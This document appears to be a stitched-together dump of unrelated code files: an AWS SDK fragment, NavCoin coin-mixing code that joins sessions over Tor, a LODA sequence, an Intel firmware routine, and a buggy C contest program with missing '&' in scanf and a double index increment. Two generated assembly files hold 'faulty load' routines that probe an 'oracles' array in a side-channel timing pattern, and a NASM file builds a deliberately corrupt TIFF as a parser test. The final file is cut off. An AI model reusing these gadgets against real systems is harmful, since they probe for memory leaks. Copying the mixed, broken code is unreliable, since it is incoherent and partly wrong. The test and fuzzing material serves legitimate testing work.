if(m_cacheKeyParametersHasBeenSet)
{
Array<JsonValue> cacheKeyParametersJsonList(m_cacheKeyParameters.size());
for(unsigned cacheKeyParametersIndex = 0; cacheKeyParametersIndex < cacheKeyParametersJsonList.GetLength(); ++cacheKeyParametersIndex)
{
cacheKeyParametersJsonList[cacheKeyParametersIndex].AsString(m_cacheKeyParameters[cacheKeyParametersIndex]);
}
payload.WithArray("cacheKeyParameters", std::move(cacheKeyParametersJsonList));
}
if(m_contentHandlingHasBeenSet)
{
payload.WithString("contentHandling", ContentHandlingStrategyMapper::GetNameForContentHandlingStrategy(m_contentHandling));
}
if(m_timeoutInMillisHasBeenSet)
{
payload.WithInteger("timeoutInMillis", m_timeoutInMillis);
}
if(m_tlsConfigHasBeenSet)
{
payload.WithObject("tlsConfig", m_tlsConfig.Jsonize());
}
return payload.View().WriteReadable();
}
|
// Copyright (c) 2020 The NavCoin developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "aggregationsession.h"
std::set<uint256> setKnownSessions;
AggregationSesion::AggregationSesion(const CStateViewCache* inputsIn) : inputs(inputsIn), fState(0), nVersion(1)
{
}
bool AggregationSesion::Start()
{
if (fState && (es&&es->IsRunning()))
return false;
if (!inputs)
{
Stop();
return false;
}
vTransactionCandidates.clear();
lock = true;
es = new EphemeralServer([=](std::string& s) -> void {
lock = false;
sHiddenService = s;
if (!fState)
AnnounceHiddenService();
fState = !sHiddenService.empty();
}, [=](std::vector<unsigned char>& v) -> void {
AddCandidateTransaction(v);
});
while(lock) {}
return true;
}
bool AggregationSesion::IsKnown(const AggregationSesion& ms)
{
return setKnownSessions.find(ms.GetHash()) != setKnownSessions.end();
}
void AggregationSesion::Stop()
{
if (es)
es->Stop();
fState = 0;
vTransactionCandidates.clear();
RemoveDandelionAggregationSesionEmbargo(*this);
}
bool AggregationSesion::GetState() const
{
return fState && (es&&es->IsRunning());
}
bool AggregationSesion::SelectCandidates(CandidateTransaction &ret)
{
random_shuffle(vTransactionCandidates.begin(), vTransactionCandidates.end(), GetRandInt);
size_t nSelect = std::min(vTransactionCandidates.size(), (size_t)DEFAULT_TX_MIXCOINS);
if (nSelect == 0)
return false;
CAmount nFee = 0;
CValidationState state;
std::vector<RangeproofEncodedData> blsctData;
std::vector<CTransaction> vTransactionsToCombine;
unsigned int i = 0;
while (i < nSelect && i < vTransactionCandidates.size())
{
if (!VerifyBLSCT(vTransactionCandidates[i].tx, bls::PrivateKey::FromBN(Scalar::Rand().bn), blsctData, *inputs, state, false, vTransactionCandidates[i].fee))
continue;
vTransactionsToCombine.push_back(vTransactionCandidates[i].tx);
nFee += vTransactionCandidates[i].fee;
i++;
}
CTransaction ctx;
if (!CombineBLSCTTransactions(vTransactionsToCombine, ctx, *inputs, state, nFee))
return error("AggregationSesion::%s: Failed %s\n", state.GetRejectReason());
ret = CandidateTransaction(ctx, nFee, DEFAULT_MIN_OUTPUT_AMOUNT, BulletproofsRangeproof());
return true;
}
bool AggregationSesion::AddCandidateTransaction(const std::vector<unsigned char>& v)
{
if (!inputs)
return false;
CandidateTransaction tx;
CDataStream ss(std::vector<unsigned char>(v.begin(), v.end()), 0, 0);
try
{
ss >> tx;
}
catch(...)
{
return error("AggregationSesion::%s: Wrong serialization of transaction candidate\n", __func__);
}
if (!(tx.tx.IsBLSInput() && tx.tx.IsCTOutput() && tx.tx.vin.size() == 1 && tx.tx.vout.size() == 1 && tx.minAmountProofs.V.size() == tx.tx.vout.size()))
return error("AggregationSesion::%s: Received transaction is not BLSCT mix compliant\n", __func__);
std::vector<std::pair<int, BulletproofsRangeproof>> proofs;
std::vector<Point> nonces;
std::vector<RangeproofEncodedData> blsctData;
for (unsigned int i = 0; i < tx.tx.vout.size(); i++)
{
if (!(tx.tx.vout[i].bp.V[0]-BulletproofsRangeproof::H*tx.minAmount == tx.minAmountProofs.V[i]))
return error ("AggregationSesion::%s: Failed verification of output %d amount\n", __func__, i);
proofs.push_back(std::make_pair(i, tx.minAmountProofs));
}
if (!VerifyBulletproof(proofs, blsctData, nonces))
return error("AggregationSesion::%s: Failed verification of min amount range proofs\n", __func__);
if (!MoneyRange(tx.fee))
return error("AggregationSesion::%s: Received transaction with incorrect fee %d\n", __func__, tx.fee);
if (tx.fee > GetMaxFee())
return error("AggregationSesion::%s: Received transaction with too high fee %d\n", __func__, tx.fee);
CValidationState state;
if(!VerifyBLSCT(tx.tx, bls::PrivateKey::FromBN(Scalar::Rand().bn), blsctData, *inputs, state, false, tx.fee))
{
return error("AggregationSesion::%s: Failed validation of transaction candidate %s\n", __func__, state.GetRejectReason());
}
vTransactionCandidates.push_back(tx);
return true;
}
void AggregationSesion::AnnounceHiddenService()
{
if (!GetBoolArg("-dandelion", true))
{
Stop();
}
else
{
uint256 hash = GetHash();
int64_t nCurrTime = GetTimeMicros();
int64_t nEmbargo = 1000000*DANDELION_EMBARGO_MINIMUM+PoissonNextSend(nCurrTime, DANDELION_EMBARGO_AVG_ADD);
InsertDandelionAggregationSesionEmbargo(*this,nEmbargo);
if (vNodes.size() <= 1)
RelayAggregationSesion(*this);
else if (!LocalDandelionDestinationPushAggregationSesion(*this))
Stop();
}
}
bool AggregationSesion::Join() const
{
setKnownSessions.insert(this->GetHash());
if (!pwalletMain)
return false;
{
LOCK(pwalletMain->cs_wallet);
if (*(pwalletMain->aggSession) == *this)
return false;
}
if (!GetBoolArg("-blsctmix", DEFAULT_MIX))
return false;
LogPrint("AggregationSesion","AggregationSesion::%s: joining %s\n", __func__, GetHiddenService());
std::vector<COutput> vAvailableCoins;
pwalletMain->AvailablePrivateCoins(vAvailableCoins, true, nullptr, false, DEFAULT_MIN_OUTPUT_AMOUNT);
if (vAvailableCoins.size() == 0)
return false;
random_shuffle(vAvailableCoins.begin(), vAvailableCoins.end(), GetRandInt);
const CWalletTx *prevcoin = vAvailableCoins[0].tx;
int prevout = vAvailableCoins[0].i;
CAmount nAddedFee = GetDefaultFee();
std::vector<bls::PrependSignature> vBLSSignatures;
Scalar gammaIns = prevcoin->vGammas[prevout];
Scalar gammaOuts = 0;
CMutableTransaction candidate;
candidate.nVersion = TX_BLS_INPUT_FLAG | TX_BLS_CT_FLAG;
bls::PrivateKey blindingKey = bls::PrivateKey::FromBN(Scalar::Rand().bn);
blsctDoublePublicKey k;
blsctPublicKey pk;
blsctKey bk, v, s;
std::vector<shared_ptr<CReserveBLSCTKey>> reserveBLSCTKey;
shared_ptr<CReserveBLSCTKey> rk(new CReserveBLSCTKey(pwalletMain));
reserveBLSCTKey.insert(reserveBLSCTKey.begin(), std::move(rk));
reserveBLSCTKey[0]->GetReservedKey(pk);
{
LOCK(pwalletMain->cs_wallet);
if (!pwalletMain->GetBLSCTKey(pk, bk))
{
return error("AggregationSesion::%s: Could not get private key from blsct pool.\n",__func__);
}
blindingKey = bk.GetKey();
if (!pwalletMain->GetBLSCTDoublePublicKey(k))
{
return error("AggregationSesion::%s: BLSCT not supported in your wallet\n",__func__);
}
if (!(pwalletMain->GetBLSCTViewKey(v) && pwalletMain->GetBLSCTSpendKey(s)))
{
return error("AggregationSesion::%s: BLSCT keys not available\n", __func__);
}
}
// Input
candidate.vin.push_back(CTxIn(prevcoin->GetHash(), prevout, CScript(),
std::numeric_limits<unsigned int>::max()-1));
bls::PublicKey secret1 = bls::BLS::DHKeyExchange(v.GetKey(), prevcoin->vout[prevout].GetBlindingKey());
Scalar spendingKey = Scalar(Point(secret1).Hash(0)) * Scalar(s.GetKey());
bls::PrivateKey signingKey = bls::PrivateKey::FromBN(spendingKey.bn);
CHashWriter ss(SER_GETHASH, 0);
ss << candidate.vin[0];
uint256 txInHash = ss.GetHash();
bls::PrependSignature sig = signingKey.SignPrependPrehashed((unsigned char*)(&txInHash));
vBLSSignatures.push_back(sig);
// Output
CTxOut newTxOut(0, CScript());
std::string strFailReason;
if (!CreateBLSCTOutput(blindingKey, newTxOut, k, prevcoin->vAmounts[prevout]+nAddedFee, "Mixing Reward", gammaOuts, strFailReason, true, vBLSSignatures))
{
return error("AggregationSesion::%s: Error creating BLSCT output: %s\n",__func__, strFailReason);
}
candidate.vout.push_back(newTxOut);
// Balance Sig
Scalar diff = gammaIns-gammaOuts;
bls::PrivateKey balanceSigningKey = bls::PrivateKey::FromBN(diff.bn);
candidate.vchBalanceSig = balanceSigningKey.Sign(balanceMsg, sizeof(balanceMsg)).Serialize();
// Tx Sig
candidate.vchTxSig = bls::PrependSignature::Aggregate(vBLSSignatures).Serialize();
CValidationState state;
// Range proof of min amount
std::vector<RangeproofEncodedData> blsctData;
BulletproofsRangeproof bprp;
std::vector<Scalar> value;
value.push_back(prevcoin->vAmounts[prevout]+nAddedFee-DEFAULT_MIN_OUTPUT_AMOUNT);
Point nonce = bls::PrivateKey::FromBN(Scalar::Rand().bn).GetPublicKey();
std::vector<Point> nonces;
nonces.push_back(nonce);
std::vector<Scalar> gammas;
gammas.push_back(gammaOuts);
std::vector<unsigned char> vMemo;
bprp.Prove(value, gammas, nonce, vMemo);
std::vector<std::pair<int,BulletproofsRangeproof>> proofs;
proofs.push_back(std::make_pair(0,bprp));
if (!VerifyBulletproof(proofs, blsctData, nonces, false))
{
return error("AggregationSesion::%s: Failed validation of range proof\n", __func__);
}
CandidateTransaction tx(candidate, nAddedFee, DEFAULT_MIN_OUTPUT_AMOUNT, bprp);
if(!VerifyBLSCT(candidate, v.GetKey(), blsctData, *inputs, state, false, nAddedFee))
return error("AggregationSesion::%s: Failed validation of transaction candidate %s\n", __func__, state.GetRejectReason());
size_t colonPos = GetHiddenService().find(':');
if(colonPos != std::string::npos)
{
std::string host = GetHiddenService().substr(0,colonPos);
std::string portPart = GetHiddenService().substr(colonPos+1);
std::stringstream parser(portPart);
int port = 0;
if( parser >> port )
{
SOCKET so = INVALID_SOCKET;
bool fFailed;
proxyType proxy;
GetProxy(NET_TOR, proxy);
// first connect to proxy server
if (!ConnectSocketDirectly(proxy.proxy, so, 60)) {
return error("AggregationSesion::%s: Failed to join session %s:%d, could not connect to tor socks proxy\n", __func__, host, port);
}
// do socks negotiation
if (!Socks5(host, (unsigned short)port, 0, so))
return error("AggregationSesion::%s: Failed to join session %s:%d, could not negotiate with tor socks proxy\n", __func__, host, port);
if (!IsSelectableSocket(so)) {
CloseSocket(so);
return error("AggregationSesion::%s: Cannot create connection: non-selectable socket created (fd >= FD_SETSIZE ?)\n", __func__);
}
CDataStream ds(0,0);
ds << tx;
std::vector<unsigned char> vBuffer(ds.begin(), ds.end());
vBuffer.push_back('\0');
auto ret = send(so, vBuffer.data(), vBuffer.size(), MSG_NOSIGNAL);
LogPrintf("AggregationSesion::%s: Sent %d bytes\n", __func__, ret);
CloseSocket(so);
return ret;
}
}
return false;
}
CAmount AggregationSesion::GetDefaultFee()
{
return GetArg("-aggregationfee", DEFAULT_MIX_FEE);
}
CAmount AggregationSesion::GetMaxFee()
{
return GetArg("-aggregationmaxfee", DEFAULT_MAX_MIX_FEE);
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r15
push %r8
push %r9
push %rdi
push %rdx
lea addresses_normal_ht+0x7b3, %r10
add %rdx, %rdx
mov $0x6162636465666768, %r8
movq %r8, %xmm0
and $0xffffffffffffffc0, %r10
movntdq %xmm0, (%r10)
nop
cmp %r9, %r9
lea addresses_WC_ht+0x5791, %r13
xor $9294, %r15
vmovups (%r13), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %r9
nop
nop
nop
xor %r13, %r13
lea addresses_A_ht+0x19273, %r8
nop
nop
sub %r9, %r9
mov $0x6162636465666768, %rdx
movq %rdx, (%r8)
xor %r15, %r15
lea addresses_UC_ht+0x191b3, %r15
nop
nop
nop
nop
dec %rdi
and $0xffffffffffffffc0, %r15
movaps (%r15), %xmm3
vpextrq $0, %xmm3, %rdx
nop
nop
xor %r10, %r10
lea addresses_normal_ht+0x16df7, %r13
nop
nop
nop
nop
xor %r15, %r15
movw $0x6162, (%r13)
nop
nop
nop
nop
sub %r10, %r10
lea addresses_UC_ht+0x1b743, %r9
nop
nop
cmp %r13, %r13
movw $0x6162, (%r9)
nop
nop
nop
nop
and $54918, %r8
pop %rdx
pop %rdi
pop %r9
pop %r8
pop %r15
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r8
push %r9
push %rax
push %rbp
push %rbx
push %rdx
// Store
lea addresses_US+0xca3, %rbx
nop
nop
nop
nop
and $35293, %r10
mov $0x5152535455565758, %rbp
movq %rbp, (%rbx)
nop
nop
nop
nop
add $60349, %rbx
// Store
lea addresses_RW+0xe5b3, %r10
nop
nop
nop
nop
nop
cmp %r8, %r8
movw $0x5152, (%r10)
nop
sub %rbx, %rbx
// Store
lea addresses_UC+0x1bbc3, %r8
nop
nop
nop
sub $64061, %rdx
mov $0x5152535455565758, %r10
movq %r10, %xmm0
movups %xmm0, (%r8)
nop
nop
nop
nop
nop
cmp $5232, %r10
// Faulty Load
lea addresses_WC+0x1c7b3, %r9
nop
nop
nop
nop
nop
cmp %rax, %rax
mov (%r9), %bx
lea oracles, %r8
and $0xff, %rbx
shlq $12, %rbx
mov (%r8,%rbx,1), %rbx
pop %rdx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_US'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_RW'}}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 16, 'NT': True, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 9, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Name: zel_bms2.asm
Type: file
Size: 2252
Last-Modified: '2016-05-13T04:22:15Z'
SHA-1: 6A9027997C4204BB7E016B8E860D0ADBE8F63423
Description: null
|
; A071588: Powers of 6 written backwards.
; 1,6,63,612,6921,6777,65664,639972,6169761,69677001,67166406,650797263,6332876712,61049606031,69046146387,675489481074,6547099011282,63744495662961,614866659955101,694010047953906,6792600448516563
mov $1,6
pow $1,$0
seq $1,4086 ; Read n backwards (referred to as R(n) in many sequences).
mov $0,$1
|
architecture wdc65816-strict
include "../../../src/common/assert.inc"
constant a = 0x2000
assertShadowRam(a) // ERROR
|
; Licensed to the Apache Software Foundation (ASF) under one
; or more contributor license agreements. See the NOTICE file
; distributed with this work for additional information
; regarding copyright ownership. The ASF licenses this file
; to you under the Apache License, Version 2.0 (the
; "License"); you may not use this file except in compliance
; with the License. You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing,
; software distributed under the License is distributed on an
; "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
; KIND, either express or implied. See the License for the
; specific language governing permissions and limitations
; under the License.
; Assemblers are the perfect tool for generating
; custom test images as they let us insert offsets
; to unknown locations easily and totally
; customize the file byte-by-byte.
;
; To generate a TIFF from this, run:
; nasm -f bin /path/to/this/file.asm -o /path/to/file.tiff
; TIFF header
db 0x49,0x49
db 0x2a, 0x00
db 0x08, 0x00, 0x00, 0x00
; Number of directory entries
dw 10
; entry 0: tag, type, count, value
dw 0x0100 ; tag = image width
dw 3 ; type = short
dd 1 ; length = 1
dd 2 ; value = 2
; entry 1
dw 0x0101 ; tag = image length
dw 3 ; type = short
dd 1 ; length = 1
dd 2 ; value = 2
; entry 2
dw 0x0103 ; tag = compression
dw 3
dd 1
dd 1 ; no compression, but pack bits tightly
; entry 3
dw 0x0106 ; tag = PhotometricInterpretation
dw 3
dd 1
dd 1 ; black is zero
; entry 4
dw 0x0111 ; tag = StripOffsets
dw 4 ; type = long
dd 1
dd $imageStrip1
; entry 5
dw 0x0117 ; tag = StripByteCounts
dw 4 ; type = long
dd 1
dd 2
; entry 6
dw 0x0116 ; tag = RowsPerStrip
dw 4 ; type = long
dd 1
dd 2
; entry 7
dw 0x0110 ; tag = Model
dw 2 ; type = ASCII
dd 10
dd 0x1fffffff ; outside file's bounds
; entry 8
dw 0x010f ; tag = Make
dw 2 ; type = ASCII
dd 50000 ; count - ridiculously high
dd 0
; entry 9
dw 0x0132 ; tag = DateTime
dw 2 ; type = ASCII
dd 0xffffffce ; a huge, invalid length
dd $dateTimeValue
; offset to next directory - corrupt
dd 0xffffffce ; -50
; values that couldn't fit:
dateTimeValue:
dw '2011-12-07 00:00:00'
; image data
imageStrip1:
db 0x80, 0x40
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main()
{
int t,k,i,j,l;
scanf("%d",&t);
char a[2][3],c[18][4];
int b[2],d[16];
for(i=0;i<t;i++)
{
int f,max,ind,index;
for(j=0;j<16;j++)
{
d[j]=0;
}
scanf("%s %s %d %d",a[0],a[1],b[0],b[1]);
if(b[0]>b[1])
{
strcpy(c[0],a[0]);
d[0]++;
ind=0;
}
else
{
strcpy(c[0],a[1]);
d[0]++;
ind=0;
}
for(l=1;l<16;l++)
{
scanf("%s %s %d %d",a[0],a[1],b[0],b[1]);
if(b[0]>b[1])
{
f=0;
for(j=0;j<=ind;j++)
{
if(strcmp(c[j],a[0])==0)
{
d[j]++;
f=1;
break;
}
}
if(f==0)
{
ind++;
strcpy(c[++ind],a[0]);
d[ind]++;
}
}
else
{
f=0;
for(j=0;j<=ind;j++)
{
if(strcmp(c[j],a[1])==0)
{
d[j]++;
f=1;
break;
}
}
if(f==0)
{
strcpy(c[++ind],a[1]);
d[ind]++;
}
}
}
max=d[0];
index=0;
for(k=0;k<16;k++)
{
if(d[k]>max)
{
max=d[k];
index=k;
}
}
printf("%s\n",c[index]);
}
return 0;
}
|
; ===============================================================
; Mar 2014
; ===============================================================
;
; int b_array_front(b_array_t *a)
;
; Return char stored at front of array.
;
; ===============================================================
SECTION code_clib
SECTION code_adt_b_array
PUBLIC asm_b_array_front
EXTERN __array_info, error_mc
asm_b_array_front:
; enter : hl = array *
;
; exit : de = array.data
; bc = array.size
;
; success
;
; hl = char at front of array
; carry reset
;
; fail if array is empty
;
; hl = -1
; carry set
;
; uses : af, bc, de, hl
call __array_info
jp z, error_mc ; if array is empty
; de = array.data
; bc = array.size
ld a,(de)
ld l,a
ld h,0 ; hl = char at front of array
ret
|
/*
* All Video Processing kernels
* Copyright © <2010>, Intel Corporation.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sub license, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice (including the
* next paragraph) shall be included in all copies or substantial portions
* of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
* IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR
* ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* This file was originally licensed under the following license
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
//---------- PA_AVS_IEF_16x8.asm ----------
#include "AVS_IEF.inc"
//------------------------------------------------------------------------------
// 2 sampler reads for 8x8 YUV packed
//------------------------------------------------------------------------------
#include "PA_AVS_IEF_Sample.asm"
//------------------------------------------------------------------------------
// Unpacking sampler reads to 4:4:4 internal planar
//------------------------------------------------------------------------------
#include "PA_AVS_IEF_Unpack_16x8.asm"
//------------------------------------------------------------------------------
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2013, Intel Corporation. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
; Abstract:
;
; Switch the stack from temporary memory to permanent memory.
;
;------------------------------------------------------------------------------
.586p
.model flat,C
.code
;------------------------------------------------------------------------------
; VOID
; EFIAPI
; SecSwitchStack (
; UINT32 TemporaryMemoryBase,
; UINT32 PermenentMemoryBase
; );
;------------------------------------------------------------------------------
SecSwitchStack PROC
;
; Save three register: eax, ebx, ecx
;
push eax
push ebx
push ecx
push edx
;
; !!CAUTION!! this function address's is pushed into stack after
; migration of whole temporary memory, so need save it to permanent
; memory at first!
;
mov ebx, [esp + 20] ; Save the first parameter
mov ecx, [esp + 24] ; Save the second parameter
;
; Save this function's return address into permanent memory at first.
; Then, Fixup the esp point to permanent memory
;
mov eax, esp
sub eax, ebx
add eax, ecx
mov edx, dword ptr [esp] ; copy pushed register's value to permanent memory
mov dword ptr [eax], edx
mov edx, dword ptr [esp + 4]
mov dword ptr [eax + 4], edx
mov edx, dword ptr [esp + 8]
mov dword ptr [eax + 8], edx
mov edx, dword ptr [esp + 12]
mov dword ptr [eax + 12], edx
mov edx, dword ptr [esp + 16] ; Update this function's return address into permanent memory
mov dword ptr [eax + 16], edx
mov esp, eax ; From now, esp is pointed to permanent memory
;
; Fixup the ebp point to permanent memory
;
mov eax, ebp
sub eax, ebx
add eax, ecx
mov ebp, eax ; From now, ebp is pointed to permanent memory
pop edx
pop ecx
pop ebx
pop eax
ret
SecSwitchStack ENDP
END
|
;------------------------------------------------------------------------------ ;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; CpuPause.Asm
;
; Abstract:
;
; CpuPause function
;
; Notes:
;
;------------------------------------------------------------------------------
.686
.model flat,C
.xmm
.code
;------------------------------------------------------------------------------
; VOID
; EFIAPI
; CpuPause (
; VOID
; );
;------------------------------------------------------------------------------
CpuPause PROC
pause
ret
CpuPause ENDP
END
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r14
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x17d18, %r13
xor $8575, %r12
mov $0x6162636465666768, %r14
movq %r14, (%r13)
nop
nop
nop
nop
and %r14, %r14
lea addresses_WT_ht+0x10f58, %rax
nop
nop
sub %r13, %r13
mov (%rax), %esi
nop
nop
nop
xor %r14, %r14
lea addresses_D_ht+0xb898, %rax
clflush (%rax)
nop
nop
nop
nop
nop
dec %r10
movw $0x6162, (%rax)
nop
nop
nop
add %rax, %rax
lea addresses_UC_ht+0x11a18, %r14
cmp %rbp, %rbp
mov $0x6162636465666768, %r12
movq %r12, %xmm2
vmovups %ymm2, (%r14)
nop
nop
cmp $33263, %r13
lea addresses_WT_ht+0x2d18, %rbp
nop
nop
nop
nop
nop
and %rsi, %rsi
mov $0x6162636465666768, %r14
movq %r14, (%rbp)
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_UC_ht+0xe898, %r10
add %rax, %rax
movups (%r10), %xmm3
vpextrq $0, %xmm3, %r13
nop
nop
nop
dec %r10
lea addresses_normal_ht+0x16858, %rax
nop
nop
nop
nop
sub %rbp, %rbp
mov (%rax), %r14
nop
xor $36181, %r10
lea addresses_D_ht+0x7fec, %rsi
nop
xor %r13, %r13
mov (%rsi), %r10d
nop
dec %rsi
lea addresses_D_ht+0x170bc, %rsi
nop
nop
nop
and %r14, %r14
vmovups (%rsi), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %rax
nop
nop
sub %r13, %r13
lea addresses_WT_ht+0x15d18, %r14
nop
sub %rax, %rax
movb (%r14), %r10b
xor %r12, %r12
lea addresses_WT_ht+0xffb8, %rsi
lea addresses_A_ht+0x18e98, %rdi
nop
nop
nop
sub %r10, %r10
